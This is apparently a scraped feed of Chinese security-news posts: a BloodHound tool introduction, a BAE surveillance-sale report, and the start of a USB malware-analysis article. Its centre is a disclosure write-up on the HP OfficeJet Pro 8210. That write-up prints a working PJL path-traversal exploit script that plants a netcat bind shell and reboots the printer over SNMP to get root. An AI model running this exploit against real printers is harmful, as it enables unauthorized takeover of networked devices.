data-editable=\"true\" data-title=\"本地管理员衍生工具\">本地管理员衍生工具</a>，图形理论以及Jim Truher（<a href=\"https://twitter.com/jwtruher\" data-editable=\"true\" data-title=\"@jwtruher\">@jwtruher</a>）为证明可以自动执行Active Directory域渗透权限升级分析思路而使用<a href=\"https://jtruher3.wordpress.com/2006/10/16/dijkstra/\" data-editable=\"true\" data-title=\"PowerShell实现的Dijkstra算法\">PowerShell实现的Dijkstra算法</a>程序。以下的一些人员和项目给予了我很大的帮助：</p><ul><li><p>Sam Briesemeister（<a href=\"https://twitter.com/systemalias\" data-editable=\"true\" data-title=\"@systemalias\">@systemalias</a>）介绍了图形理论，并提出了使用图形来自动执行域特权升级的分析思路。</p></li><li><p>Justin Warner（<a href=\"https://twitter.com/sixdub\" data-editable=\"true\" data-title=\"@sixdub\">@sixdub</a>）以一种更正式的方式帮助我理解了衍生分析本地管理员的技术，并继续帮助我提升了Red Team和渗透测试技能。Justin和Will也是最初将这种思路种植在我大脑中的人，同时这种思路有一个实现的POC，叫“进攻仪表板”，它是一个网络应用程序，可以为渗透测试人员提升攻击力。</p></li><li><p>Will Schroeder（<a href=\"https://twitter.com/harmj0y\" data-editable=\"true\" data-title=\"@ harmj0y\">@ harmj0y</a>）开发的PowerView工具一直是一个可用的最全面和最先进的以攻击为导向的Active      Directory枚举工具。</p></li><li><p>Lucas Bouillot和Emmanuel Gras的<a href=\"https://github.com/ANSSI-FR/AD-control-paths\" data-editable=\"true\" data-title=\"Active Directory控制路径\">Active Directory控制路径</a>项目也是PowerPath和BloodHound诞生的主要灵感来源。</p></li></ul><p>PowerPath是一个非常有趣的概念证明程序，也是一些更重要的东西的垫脚石。我们的团队长期以来都在设想一个“进攻仪表板”，它可以针对Active Directory域渗透权限提升攻击路径的一些繁琐工作实现自动执行和自动分析。我们想要一个轻松易用且能实现重要操作的解决方案，并拥有隐藏的数据收集功能。</p><p>现在，我要非常自豪地介绍一下BloodHound，这是基于这些想法并经过数月的努力工作的最成结果。BloodHound已经作为DEF CON 24的免费开源工具发布。BloodHound由我，Rohan Vazarkar（<a href=\"https://twitter.com/cptjesus\" data-editable=\"true\" data-title=\"@CptJesus\">@CptJesus</a>）和Will Schroeder（<a href=\"https://twitter.com/harmj0y\" data-editable=\"true\" data-title=\"@ harmj0y\">@ harmj0y</a>）<a href=\"https://twitter.com/harmj0y\" data-editable=\"true\" data-title=\"共同开发\">共同开发</a>而成。<img src=\"v2-188114bf90a0fab1f7078a785d5359e7.png\" data-rawwidth=\"1000\" data-rawheight=\"1000\"></p><h2><strong>什么是BloodHound？</strong></h2><p>BloodHound采用了原始的PowerPath概念背后的一些关键概念，并将这些概念放在一个能运行且直观，并易于使用的功能中，用于提取和分析数据，可以高效准确地显示如何提升AD域中的权限。当然，如果没有Rohan和Will的支持，BloodHound本身是不可能的问世的：</p><ul><li><p>Rohan把我制作的相当粗糙的网络界面模型转变成了一个真正的功能性的Web应用程序。同时，Rohan也成为了一个密码学专家，开发了几个通用和分析查询，以运行BloodHound。<a href=\"https://neo4j.com/developer/cypher-query-language/\" data-editable=\"true\" data-title=\"Cypher\">Cypher</a>是驱动 neo4j 交互的一种查询语句。</p></li><li><p>BloodHound严重的依赖了Will的工具——PowerView进行数据收集。此外，Will也会把一些功能建立在PowerView上，并进行了多项自定义的更改，添加了几个新的功能，以便将BloodHound数据库与PowerView所需要的一些信息进行连接。<img src=\"v2-8125d29a3c683c46bfe55c2e9816e5d1.png\" data-rawwidth=\"1024\" data-rawheight=\"693\"></p></li></ul><p>BloodHound的界面，显示了两个域中的“域管理员”组的有效成员。</p><h2><strong>为什么我的团队应该用BloodHound？</strong></h2><p>BloodHound是一个公共且免费的工具，它使用图形理论来自动化的在Active Directory环境中搞清楚大部分人员的关系和细节。你的团队可以使用BloodHound快速深入了解AD的一些用户关系，了解哪些用户具有管理员权限，哪些用户有权对任何计算机都拥有管理权限，以及有效的用户组成员信息。<img src=\"v2-351a07d94a87c34be530bd005b9007bd.png\" data-rawwidth=\"1024\" data-rawheight=\"693\"></p><p>BloodHound显示一个用户组的所有有效的成员。</p><p>BloodHound最令人兴奋的功能是能够识别攻击路径。对于这个概念，Justin</p><p>在他的博客文章里有过很好的描述，可以在<a href=\"https://www.sixdub.net/?p=591\" data-editable=\"true\" data-title=\"这里\">这里</a>找到，这种方法在AD域权限提升这方面有着令人难以置信的作用并且识别的结果也非常的可靠。通过自动化分析过程来利用这一概念，BloodHound将为你的渗透测试团队，你的客户和你的雇主均能提供良好的服务，为你们的合作带来显着的效率提升。<img src=\"v2-fc3f9a058bca24a8af6c1294d4ebb0b9.png\" data-rawwidth=\"1024\" data-rawheight=\"727\"></p><p>BloodHound为左侧的用户到在右侧的Domain Admins组的用户分析出了最短的攻击路径。</p><h2><strong>如何开始使用BloodHound？</strong></h2><p>我们正在使用一个GitHub WiKi作为BloodHound的官方文档。在WiKi里，你可以找到“ <a href=\"https://github.com/adaptivethreat/Bloodhound/wiki/Getting-started\" data-editable=\"true\" data-title=\"入门”\">入门”</a>这个页面，它具有快速启动和运行所需的一切的说明。</p><p>在哪里可以找到更多关于BloodHound的信息？</p><p>随着新的BloodHound的具体资源的出现,这篇博客文章将作为未来阅读的一个跳跃点。</p><p>来自BloodHound创建者的官方文档和内容：</p><ul><li><p>在Github官方网站上开始使用BloodHound：<a href=\"https://github.com/adaptivethreat/Bloodhound\" data-editable=\"true\" data-title=\"BloodHoundAD/BloodHound\">BloodHoundAD/BloodHound</a>：<a href=\"https://github.com/adaptivethreat/Bloodhound\" data-editable=\"true\" data-title=\"//github.com/adaptivethreat/Bloodhound\">//github.com/adaptivethreat/Bloodhound</a>。</p></li><li><p>在BloodHound 的WiKi上查找有关安装，数据提取，CSV格式和其他有用提示的具体信息：<a href=\"https://github.com/adaptivethreat/Bloodhound/wiki\" data-editable=\"true\" data-title=\"BloodHoundAD/BloodHound\">BloodHoundAD/BloodHound</a>：<a href=\"https://github.com/adaptivethreat/Bloodhound/wiki\" data-editable=\"true\" data-title=\"//github.com/adaptivethreat/Bloodhound/wiki\">//github.com/adaptivethreat/Bloodhound/wiki</a></p></li><li><p>在DEF CON 24和 2016年的BSidesLV 以及2016的Black Hat Arsenal期间使用的BloodHound 演示文稿：<a href=\"http://www.slideshare.net/AndyRobbins3/six-degrees-of-domain-admin-bloodhound-at-def-con-24\" data-editable=\"true\" data-title=\"slideshare.net 的页面\">http</a> : <a href=\"http://www.slideshare.net/AndyRobbins3/six-degrees-of-domain-admin-bloodhound-at-def-con-24\" data-editable=\"true\" data-title=\"//www.slideshare.net/AndyRobbins3/six-degrees-of-domain-admin-bloodhound-at-def-con-24\">//www.slideshare.net/AndyRobbins3/six-degrees-of-domain-admin-bloodhound-at-def-con-24</a></p></li><li><p>官方版本的BloodHound Gang Slack：<a href=\"https://bloodhoundgang.herokuapp.com/\" data-editable=\"true\" data-title=\"Join us on Slack!\">Join us on Slack!</a>：<a href=\"https://bloodhoundgang.herokuapp.com/\" data-editable=\"true\" data-title=\"//bloodhoundgang.herokuapp.com/\">//bloodhoundgang.herokuapp.com/</a></p></li><li><p>我们在BSidesLV 2016上的一些讨论：<a href=\"https://www.youtube.com/watch?v=lxd2rerVsLo\">https</a>：  <a href=\"https://www.youtube.com/watch?v=lxd2rerVsLo\" data-editable=\"true\" data-title=\"//www.youtube.com/watch？v = lxd2rerVsLo\">//www.youtube.com/watch？v = lxd2rerVsLo</a></p></li></ul><p>其他资源：</p><ul><li><p>Daily Security Byte 发布的关于 BloodHound的视频：https:  <a href=\"https://www.youtube.com/watch?v=pKbN9_6zhKo&amp;feature=youtu.be\" data-editable=\"true\" data-title=\"//www.youtube.com/watch?v=pKbN9_6zhKo&amp;feature=youtu.be\">//www.youtube.com/watch?v=pKbN9_6zhKo&amp;feature=youtu.be</a></p></li><li><p>有关在Linux中安装BloodHound的其他深入说明：<a href=\"https://www.shellandco.net/understand-privilege-relationships-active-directory-environment/\" data-editable=\"true\" data-title=\"Understand the privilege relationships in an Active Directory environment - shell {&amp;} co\">Understand the privilege relationships in an Active Directory environment - shell {&amp;} co</a>：<a href=\"https://www.shellandco.net/understand-privilege-relationships-active-directory-environment/\" data-editable=\"true\" data-title=\"//www.shellandco.net/understand-privilege-relationships-active-directory-environment/\">//www.shellandco.net/understand-privilege-relationships-active-directory-environment/</a></p></li></ul><blockquote>本文翻译自：<a href=\"https://wald0.com/?p=68\" class=\"\" data-editable=\"true\" data-title=\"Introducing BloodHound\">Introducing BloodHound</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/penetration/5554.html\" data-editable=\"true\" data-title=\"强大的内网域渗透提权分析工具--BloodHound - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">强大的内网域渗透提权分析工具--BloodHound - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-21T02:56:41.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":12,"state":"published","isLiked":false,"slug":"27489833","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-21T10:56:41+08:00","links":{"comments":"/api/posts/27489833/comments"},"url":"/p/27489833","titleImage":"","summary":"","href":"/api/posts/27489833","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":12},"27489842":{"title":"惠普打印机爆远程命令执行漏洞，黑客可任意操纵你的打印机","author":"hou-hou-4-12","content":"<p>在各类企业、单位甚至是学校，无论你身处在哪里，打印机都会作为必需品存在。也许你体验到的是其便捷的一面，但你是否了解其作为联网设备的危害在哪里呢？仔细回想一下，你上一次更新它的固件是什么时候？你是否了解过打印机所存在的那些漏洞？<img src=\"v2-da26e725d42b499b99b0c582e44ab7c8.png\" data-rawwidth=\"718\" data-rawheight=\"536\"></p><p>出于对打印机安全性的好奇，我们购买了几台打印机（HP OfficeJet Pro 8210）。事实上，在买的时候我们一直祈祷其那些易受攻击的固件仍然存在，否则你肯定无法想象你需要多少时间来进行回溯。幸运的是，当我们买的两台打印机到的时候我们发现其安装着那些易受攻击的组件，并且更新也被禁用了。OfficeJet Pro 8210的固件无法直接下载。但是，使用打印机Web界面上的“自动安装更新”和“ 立即检查”功能，我们可以将打印机更新到最新固件。<img src=\"v2-5dd10d2da896475e883b33826fb699c9.png\" data-rawwidth=\"766\" data-rawheight=\"496\"><img src=\"v2-10fea7f00f21710a927fb604a755a3de.png\" data-rawwidth=\"754\" data-rawheight=\"235\"></p><p>于是我们就有了一个打过补丁和一个未打补丁的打印机，接下来就是我们挖掘远程代码执行漏洞的时间了。</p><p>我们从Nmap扫描开始，这样可以查找到打印机打开的端口：</p><code lang=\"text\">albinolobster@ubuntu:~$ nmap -A 192.168.1.159\nStarting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT\nNmap scan report for HP0A6BFE.westeros (192.168.1.159)\nHost is up (0.014s latency).\nNot shown: 994 closed ports\nPORT      STATE SERVICE    VERSION\n80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;\n443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;\n515/tcp   open  printer\n631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;\n8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;\n9100/tcp  open  jetdirect?</code><p>这里看起来没什么问题， HTTP服务器的监听端口80,443以及8080；行式打印机守护进程（LPD）在端口515上；Internet打印协议（IPP）在端口631上；Nmap将端口9100标记为“jetdirect？”，这通常意味着“原始打印”或端口9100打印。</p><p>HP将9100端口打印为“HP专有”，但众所周知的是，这个端口还支持原始打印、PCL、PostScript和PJL。以下是一个简单的示例——在端口9100上使用PJL来获取打印机的设备信息：</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.159 9100\n@PJL INFO ID\n@PJL INFO ID\n\"HP OfficeJet Pro 8210\"</code><p>JensMüller最近写了一篇题为“ 网络打印机：激光打印机和多功能设备中的安全问题调查”的文章，详细介绍了打印机的常见漏洞。作者提出的常见漏洞之一就是通过PJL路径遍历。例如，考虑以下PJL命令列出打印机上的目录：</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.159 9100\n@PJL FSDIRLIST NAME=\"0:/\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"0:/\" ENTR\ntmp/ TYPE=DIR\ncsr_misc/ TYPE=DIR</code><p>可以看到列出的目录名称是 0：/ 并且打印机响应两个子目录： TMP / 和 csr_misc /。如果您尝试使用路径移动几个目录，会发生什么0：/../../？</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.158 9100\n@PJL FSDIRLIST NAME=\"0:/../../\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"0:/../../\" ENTRY=1\nrw/ TYPE=DIR\nram/ TYPE=DIR\nrom/ TYPE=DIR\n.sig/ TYPE=DIR</code><p>接下来可以看到的是，打印机会响应一个新的目录列表。看起来我们可能在这里会有一个攻击传染媒介。而在这之后，在打补丁打印机上执行相同的PJL命令会生成一个FILEERROR。我们知道，惠普其实已经修复了这两个固件版本之间的问题。但毫无疑问这是个好机会，因为这有可能导致安全公告上所说的远程代码执行。</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.159 9100\n@PJL FSDIRLIST NAME=\"0:/../../\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"0:/../../\"\nFILEERROR=0</code><p>然而事实上，这种遍历似乎不是很有用。文件结构看起来也不像我熟悉的任何root文件系统。也许还有另一个目录遍历向量？</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.158 9100\n@PJL FSDIRLIST NAME=\"../../\" ENTRY=1 COUNT=4\n@PJL FSDIRLIST NAME=\"../../\"\nFILEERROR=0\n@PJL FSDIRLIST NAME=\"../../bin/\" ENTRY=1 COUNT=4\n@PJL FSDIRLIST NAME=\"../../bin/\" ENTRY=1\ngetopt TYPE=FILE SIZE=880020\nsetarch TYPE=FILE SIZE=880020\ndd TYPE=FILE SIZE=880020\ncp TYPE=FILE SIZE=880020</code><p>这里，我尝试了 ../../ 但是却生成了一个 FILEERROR。然而，../../bin 列出了传统Linux中找到的文件 /bin目录。看来这下子我们可以遍历Linux文件系统了。</p><p>但是如何将这些目录遍历转换为远程代码执行呢？首先，我们需要了解其他一些PJL命令：FSQUERY， FSUPLOAD，和 FSDOWNLOAD。这三个命令将让我们通过r / w即可访问打印机的文件系统。例如，我可以利用FSQUERY 和 FSUPLOAD 用目录遍历来检索内容 / etc / passwd文件：</p><code lang=\"text\">@PJL FSUPLOAD NAME=\"../../etc/passwd\" OFFSET=0 SIZE=648\n@PJL FSUPLOAD FORMAT:BINARY NAME=\"../../etc/passwd\" OFFSET=0 SIZE=648\nroot:x:0:0:root:/var/root:/bin/sh\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:100:sync:/bin:/bin/sync\nmail:x:8:8:mail:/var/spool/mail:/bin/sh\nproxy:x:13:13:proxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh\nbackup:x:34:34:backup:/var/backups:/bin/sh\noperator:x:37:37:Operator:/var:/bin/sh\nhaldaemon:x:68:68:hald:/:/bin/sh\ndbus:x:81:81:dbus:/var/run/dbus:/bin/sh\nftp:x:83:83:ftp:/home/ftp:/bin/sh\nnobody:x:99:99:nobody:/home:/bin/sh\nsshd:x:103:99:Operator:/var:/bin/sh\ndefault:x:1000:1000:Default non-root user:/home/default:/bin/sh\n _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false</code><p>谁会真的去阅读这些文件呢？所以我想去写入他们。FSDOWNLOAD 需要发送 ESC 字符，这里不能使用Netcat，于是我写了一个Python脚本，试图写入 ../../tmp/writing_test：</p><code lang=\"text\">import socket\nimport sys\ntest = ('test')\nif len(sys.argv) != 3:\n    print 'nUsage:upload.py [ip] [port]n'\n    sys.exit()\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_address = (sys.argv[1], int(sys.argv[2]))\nprint 'connecting to %s port %s' % server_address\nsock.connect(server_address)\ndir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME=\"../../tmp/writing_test\"rn'\ndir_query += test\ndir_query += 'x1b%-12345X'\nsock.sendall(dir_query)\nsock.close()</code><p>不幸的是，这个脚本无法写入该文件。看来，PJL的过程解释在Linux文件系统上没有写入权限：</p><code lang=\"text\">albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100\nconnecting to 192.168.1.158 port 9100\nalbinolobster@ubuntu:~$ nc 192.168.1.158 9100\n@PJL FSQUERY NAME=\"../../tmp/writing_test\"\n@PJL FSQUERY NAME=\"../../tmp/writing_test\"\nFILEERROR=0</code><p>这是我们试图获得远程执行代码的一大打击。无法访问Linux文件系统，那么替换二进制文件或获取执行的Bash脚本的可能性大大降低。在这一点上，我们唯一的希望就是那个0：/ 文件系统是可写的，写入的文件可以以某种方式执行。</p><p>接下来我们必须来进行一次无聊的细节梳理在 0：/文件系统中，我最终注意到其与Linux文件系统有一些重叠。尤其是，0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球，因为，传统的profile.d目录包含在启动时执行的脚本。此外，目录似乎包含相同的数据：</p><code lang=\"text\">albinolobster@ubuntu:~$ nc 192.168.1.158 9100\n@PJL FSDIRLIST NAME=\"0:/../../rw/var/etc/profile.d/\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"0:/../../rw/var/etc/profile.d/\" ENTRY=1\n.sig/ TYPE=DIR\n@PJL FSDIRLIST NAME=\"../../var/etc/profile.d/\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"../../var/etc/profile.d/\" ENTRY=1&lt;\n.sig/ TYPE=DIR</code><p>为了测试我是否可以通过0:/ filesystem写入profile.d ，我更新了 FSDOWNLOAD Python脚本来写一个文件0:/../../rw/var/etc/profile.d/writing_test:</p><code lang=\"text\">import socket\nimport sys\ntest = ('test')\nif len(sys.argv) != 3:\n    print 'nUsage:upload.py [ip] [port]n'\n    sys.exit()\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver_address = (sys.argv[1], int(sys.argv[2]))\nprint 'connecting to %s port %s' % server_address\nsock.connect(server_address)\ndir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME=\"0:/../../rw/var/etc/profile.d/writing_test\"rn\ndir_query += test\ndir_query += 'x1b%-12345X'\nsock.sendall(dir_query)\nsock.close()</code><p>如下所示，Python脚本现在可以工作了！通过遍历Linux文件系统我么可以看到新的文件：</p><code lang=\"text\">albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100\nconnecting to 192.168.1.158 port 9100\nalbinolobster@ubuntu:~$ nc 192.168.1.158 9100\n@PJL FSDIRLIST NAME=\"../../var/etc/profile.d/\" ENTRY=1 COUNT=1024\n@PJL FSDIRLIST NAME=\"../../var/etc/profile.d/\" ENTRY=1\n.sig/ TYPE=DIR\nwriting_test TYPE=FILE SIZE=4</code><p>现在我们已经可以对可能包含启动脚本的位置有写入权限了。显然已经非常接近远程代码执行了。现在，我们只需要编写一个脚本，并找出如何重新启动打印机，以便脚本执行就可以了。</p><p>我们的启动脚本最明显的选择是给我们shell访问。由于打印机有netcat已安装，我选择去在端口1270上创建一个绑定shell的脚本：</p><code lang=\"text\">if [ ! -p /tmp/pwned ]; then\n    mkfifo /tmp/pwned\n    cat /tmp/pwned | /bin/sh 2&gt;&amp;1 | /usr/bin/nc -l 1270 &gt; /tmp/pwned &amp;\nfi</code><p>随之我们要做的就是将重点转移到远程重新启动打印机。一种方法是在Web界面中使用Power Cycle功能（在“ 工具”菜单下）。另一种方法是使用SNMP 打印机 MIB来重新启动设备。</p><code lang=\"text\">albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4\niso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4</code><p>在下面的脚本中，我已经将启动脚本写入了 的profile.d 目录和SNMP重新启动：</p><code lang=\"text\">##\n# Create a bind shell on an unpatched OfficeJet 8210\n# Write a script to profile.d and reboot the device. When it comes\n# back online then nc to port 1270.\n#\n# easysnmp instructions:\n# sudo apt-get install libsnmp-dev\n# pip install easysnmp\n##\nimport socket\nimport sys\nfrom easysnmp import snmp_set\nprofile_d_script = ('if [ ! -p /tmp/pwned ]; thenn'\n                    'tmkfifo /tmp/pwnedn'\n                    'tcat /tmp/pwned | /bin/sh 2&gt;&amp;1 | /usr/bin/nc -l 1270 &gt; /tmp/pwned &amp;n\n                    'fin')\nif len(sys.argv) != 3:\n    print 'nUsage:upload.py [ip] [port]n'\n    sys.exit()\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(2)\nserver_address = (sys.argv[1], int(sys.argv[2]))\nprint 'connecting to %s port %s' % server_address\nsock.connect(server_address)\ndir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME=\"0:/../../rw/var/etc/profile.d/lol.sh\"rn'\ndir_query += profile_d_script\ndir_query += 'x1b%-12345X'\nsock.sendall(dir_query)\nsock.close()\nsock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock1.connect(server_address)\ndir_query = '@PJL FSQUERY NAME=\"0:/../../rw/var/etc/profile.d/lol.sh\"rn'\nsock1.sendall(dir_query)\nresponse = ''\nwhile True:\n    data = sock1.recv(1)\n    if 'n' == data: break\n    response += data\nprint response\nsnmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)\nprint 'Done! Try port 1270 in ~30 seconds'</code><p>运行该脚本，大约三十秒后，通过端口1270就会有root shell了。</p><code lang=\"text\">albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100\nconnecting to 192.168.1.158 port 9100\n@PJL FSQUERY NAME=\"0:/../../rw/var/etc/profile.d/lol.sh\" TYPE=FILE SIZE=119\nDone! Try port 1270 in ~30 seconds\nalbinolobster@ubuntu:~$ nc 192.168.1.158 1270\nwhoami\nroot</code><h2><strong>如何解决这一问题？</strong></h2><p>幸运的是，对于每个人来说，一旦你了解了这次的攻击，那么这个小漏洞就很容易就会被发现。我们在五月下旬就发布了Nessus插件100461来检测此漏洞。此外，还进行了更改，以便Nessus在服务发现期间不再导致9100端口打印。希望这将鼓励更多客户启用打印机扫描。</p><p>总而言之，不要忽视威胁模型中的那些打印机。现在的打印机俨然已经是一台电脑了，所以我们要做的就是像一台电脑一样对待它。扫描它、更新它、监视它，毕竟谁也不知道其存在着什么样潜在的威胁不是吗？</p><br><blockquote>如若转载，请注明原文地址： <a href=\"http://www.4hou.com/info/news/5493.html\" data-editable=\"true\" data-title=\"惠普打印机爆远程命令执行漏洞，黑客可任意操纵你的打印机 - 嘶吼 RoarTalk \" class=\"\">惠普打印机爆远程命令执行漏洞，黑客可任意操纵你的打印机 - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-21T03:02:48.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":3,"state":"published","isLiked":false,"slug":"27489842","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-21T11:02:48+08:00","links":{"comments":"/api/posts/27489842/comments"},"url":"/p/27489842","titleImage":"","summary":"","href":"/api/posts/27489842","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":3},"27489861":{"title":"英国军工巨头BAE将大规模尖端监控软件Evident售往中东","author":"hou-hou-4-12","content":"<p>近日，英国广播公司（BBC）阿拉伯语频道和丹麦报纸Dagbladet指责英国BAE系统公司在中东地区销售一款名为“Evident”的尖端监控软件。</p><p>BBC阿拉伯语频道和丹麦报纸Dagbladet进行了为期一年的调查后发现，英国BAE系统公司已经在中东地区销售了大量名为“Evident”的监控软件。该监控软件是BAE系统公司在2011年收购丹麦ETI公司后获得的，专家认为，Evident被极权主义政府用于迫害反对党和活动家。</p><p>一名来自ETI的前雇员在接受BBC采访时指出，</p><blockquote><p>利用这款软件，你可以拦截任何互联网流量，如果你想要拦截整个国家的互联网流量，也可以。你可以根据蜂窝数据定位人员的位置，也可以跟踪周围的人。它不仅具有声音识别能力，同时还可以解密任何东西。</p></blockquote><p>记者报道称，在ETI公司被收购之前，Evident软件的客户之一是突尼斯政府，而据前突尼斯情报官员所称，Evident监控软件主要用于跟踪反对总统的人士。他解释称，</p><blockquote><p>ETI公司安装完Evideng工具后，会安排工程师参加培训。一旦你将反对分子的名字输入进去，你就可以看到与该用户相关的所有网站、博客以及社交网络信息。</p></blockquote><p>由于担心出现新一轮“阿拉伯之春（Arab Spring）”运动，几个中东政府开始进行互联网监控行为，以识别和迫害异议人士，这对于像BAE公司这样的西方公司来说就是一个巨大的商机。</p><p>BAE系统公司和其它公司坚持认为，他们始终致力于以道德和负责任的态度进行自身业务运作，且尊重关于出口监控的国际法律。</p><p>根据英国广播公司和丹麦报纸Dagbladet的调查结果表明，BAE系统公司已经向沙特阿拉伯、阿联酋、卡塔尔、阿曼、摩洛哥以及阿尔及利亚出售了这款监控软件。</p><p>据一名异见人士透露，大规模的监控系统正在从事着它们“肮脏”的工作，且成效显著。目前正在流亡的前沙特空军Yahya Assiri告诉记者称，</p><blockquote><p>可以毫不夸张地说，2011年超过90%的最活跃的活动家都消失了。</p></blockquote><p>目前已经有大量政府组织安装了这款监控软件，BAE公司也正在通过添加新的解密组件来进一步强化和改进这款软件。</p><p>英国政府对于这种Evident被滥用的现状表示担忧，不可否认，Evident完全有可能被这些国家用来攻击西方目标国家。<img src=\"v2-2bebdd1c4184cc08265ce478509a013f.jpg\" data-rawwidth=\"620\" data-rawheight=\"387\"></p><p>英国出口管理局向丹麦的同行发送了一封关于向阿联酋出售Evident的电子邮件中表示，由于5号标准（国家安全）的限制，我们将拒绝授权从英国出口这种密码分析软件。但是丹麦方面却批准了出售许可。</p><p>荷兰MEP（欧洲议会会员） Marietje Schaake表示，这种销售的后果将反噬回西方国家，而这一切的代价将是异常沉重的。她说，</p><blockquote><p>在欧盟技术的帮助下，人们的言论自由甚至人身自由都将受到威胁。我认为这是绝对不能接受的。在我看来，事实上，这些公司是商业伙伴，他们开发的这些高复杂性技术可能会对我们的国家安全和人们的生活造成深远的影响，这就要求我们必须在利益和原则遭到损害前，慎重考虑在这样一个市场环境中，需要什么样的限制条例，什么样的透明度。</p><br>本文翻译自：<a href=\"http://securityaffairs.co/wordpress/60201/digital-id/bae-evisend-surveillance-software.html\" data-editable=\"true\" data-title=\"BAE Systems accused of selling mass surveillance software Evident across the Middle East\" class=\"\">BAE Systems accused of selling mass surveillance software Evident across the Middle East</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/info/news/5551.html\" data-editable=\"true\" data-title=\"英国军工巨头BAE将大规模尖端监控软件Evident售往中东 - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">英国军工巨头BAE将大规模尖端监控软件Evident售往中东 - 嘶吼 RoarTalk </a> 更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-21T03:04:10.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":6,"state":"published","isLiked":false,"slug":"27489861","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-21T11:04:10+08:00","links":{"comments":"/api/posts/27489861/comments"},"url":"/p/27489861","titleImage":"","summary":"","href":"/api/posts/27489861","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":6},"27489877":{"title":"基于USB armory 制作一个USB恶意软件分析器","author":"hou-hou-4-12","content":"<p>前一段时间，一位朋友在自己电脑上插入了一个USB，但不巧的是，USB里含有病毒，结果电脑就中毒了……出于好奇和友情，我决定分析一下其中的恶意软件。于是我用USB armory在我的电脑上建立了一个安全隔离沙箱来分析它。<img src=\"v2-5b8a7ea85b2f60bf53740d21a39fc680.png\" data-rawwidth=\"1136\" data-rawheight=\"364\"></p><p>USB armory是由 Inverse Path 设计的一款开源硬件，它是一款U盘大小的微型计算机，通常受到信息安全人士和计算机极客的喜爱。它可以提供ARM A8 800 MHz CPU和512MB RAM，并且具有足够的功能来实现各种有趣的渗透测试。</p><p>在本文中，我发现的最有趣的功能之一是其安全启动的功能，称为HAB（High Assurance Boot），通过它可以更好地将USB armory的作用发挥到极致。有趣的是，上周我还听到过有一个有关此功能的安全建议。</p><p>好了，让我开始分析吧。假设现在安全启动中没有漏洞，利用USB ARMORY我可以将PKI密钥融合到安全引导中，并且只需更换每个分析目标的microSD卡，另外目标恶意软件没有很多方法来实现硬件持久性。</p><p>要注意的是，在打造USB分析器时，你还需要一个主机适配器，如果没有它，你将无法实现最后的目标。<img src=\"v2-40683100d49160d2acbba7ce8be0b8ff.png\" data-rawwidth=\"1186\" data-rawheight=\"585\"></p><p>USB armory可以在主机和非主机两种模式下使用。非主机模式是默认模式，允许你将USB armory插入USB端口，并可通过IP地址进行访问（使用CDC以太网仿真实现此功能）。USB armory基本上可以插入任何计算机并将另一台计算机通过它对接上。这种配置对于托管安全数据，某种HSM，安全通讯，TOR路由器，密码管理器，安全的比特币钱包等都是很有用的。</p><p>而主机模式则是本文要使用的模式，在这个配置中，USB 